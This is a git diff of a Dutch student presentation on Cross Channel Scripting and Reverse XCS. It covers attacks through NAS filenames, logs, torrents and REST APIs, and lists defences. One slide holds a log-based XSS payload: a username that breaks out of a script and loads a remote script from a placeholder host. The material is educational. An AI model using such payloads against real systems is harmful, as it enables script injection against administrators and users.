Commit 0597b927 authored by Sander Mathijs van Veen's avatar Sander Mathijs van Veen

Merge branch 'master' of ssh://vo20.nl/git/uva

parents 51851823 39973c54
......@@ -17,7 +17,20 @@
\tableofcontents
}
\section{Introductie Cross Site Scripting}
\section{Waarom XCS?}
\frame
{
\frametitle{Waarom XCS?}
\begin{itemize}
\item Ligt dicht bij de webontwikkelaar
\item Aantal embedded web servers groeit
\item Beveiliging groeit niet mee
\end{itemize}
}
\section{Cross Site Scripting}
\frame
{
......@@ -26,7 +39,7 @@
\begin{itemize}
\item Invoegen van scripts op een webpagina door slechte validatie
\item Web to web
\item presistent of non-persistent
\item persistent of non-persistent
\end{itemize}
}
......@@ -52,19 +65,16 @@
\section{Cross Channel Scripting}
\subsection{Introductie}
\frame[containsverbatim]
{
\frametitle{Cross Channel Scripting (XCS)}
\begin{itemize}
\item Non-web to web
\item Infectie gaat over een andere ``channel'' dan executie:
\item Infectie gaat over een non-web channel, executie over web channel:
\begin{verbatim}
aanvaller -> protocol A -> service A # infectie
aanvaller -> non-web protocol -> non-web service
|
doewit <- protocol B <- service B # executie
doelwit <- HHTP <- web service
\end{verbatim}
\item Persistent
\item Twee op zichzelf veilige services A en B zijn samen onveilig
......@@ -76,7 +86,7 @@ doewit <- protocol B <- service B # executie
{
\frametitle{Voorbeeld XSC: FTP exploit}
Een apparaat upload bestanden naar web-interface, kunnen we een script
NAS upload bestanden naar web-interface, kunnen we een script
meesturen in de bestandsnaam? \\
\vspace{4mm}
\textbf{Uitdagingen}
......@@ -108,48 +118,75 @@ doewit <- protocol B <- service B # executie
\end{itemize}
}
\subsection{Voorbeeld: Log-based XCS}
\frame[containsverbatim]
{
\frametitle{Voorbeeld: Log-based XCS}
Een logbestand wordt remote bekeken door een administrator. Kunnen we iets
loggen wat op dat moment wordt uitgevoerd?
\begin{itemize}
\item
Probeer in te loggen met username:
\begin{verbatim}
r","","");\\/--></script><script src="http://xxx"></script>
r","","");\\/--></script>
<script src="http://xxx"></script>
\end{verbatim}
\end{itemize}
}
\frame
{
\frametitle{Voorbeeld: Log-based XCS (2)}
\begin{figure}
\includegraphics[width=200pt]{3-log.png}
\caption{Malafide code in een logbestand}
\end{figure}
}
\section{Reverse XCS}
\frame
\frame[containsverbatim]
{
\frametitle{Reverse XCS}
\frametitle{Reverse XCS (RXCS)}
\begin{itemize}
\item Web to non-web
\item
\item Infectie over web channel, executie over non-web channel
\begin{verbatim}
doelwit <- non-web protocol <- non-web service
|
aanvaller -> HTTP -> web service
\end{verbatim}
\end{itemize}
}
\frame
{
\frametitle{Voorbeeld RXCS: The ghost in the photo frame}
\frametitle{Voorbeeld: Reverse XCS in torrent}
NAS download torrent van een webserver, de bestandsnamen in de torrent
bevatten een script.
\vspace{4mm}
\textbf{Uitdagingen}
\begin{itemize}
\item
\item
\item Torrent bevat lijst van bestanden $\rightarrow$ verspreid script
over meerdere bestandsnamen
\item Script wordt uitgevoerd op NAS, bijv. seeden van torrents of
stelen van data
\end{itemize}
}
\frame
{
\frametitle{RESTful RXCS}
\frametitle{RESTful API's}
\begin{itemize}
\item
\item Probleem: derde partij verwacht ``veilige'' data, cloud service
stuurt ``raw'' data
\item Twitter: escape bij invoer (input time) $\rightarrow$ derde partij
moet unescapen voor eigen format $\rightarrow$ foutgevoelig
\item Facebook: escape bij uitvoer (display time) $\rightarrow$ derde
partij moet zelf escapen, dit gebeurt soms niet
\end{itemize}
}
......@@ -162,7 +199,7 @@ doewit <- protocol B <- service B # executie
\begin{itemize}
\item Encoding/escaping
\item Valideren van onvertrouwde HTML-uitvoer
\item Cookies
\item Extra validatie bovenop cookies
\item Blokkeren van scripts door gebruiker
\end{itemize}
}
......@@ -174,7 +211,9 @@ doewit <- protocol B <- service B # executie
\frametitle{Conclusie}
\begin{itemize}
\item
\item Beveiliging tegen XCS is vaak slecht. \\
De oorzaak van dit probleem ligt bij fabrikanten en
webontwikkelaars.
\end{itemize}
}
......
Markdown is supported
0%
or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment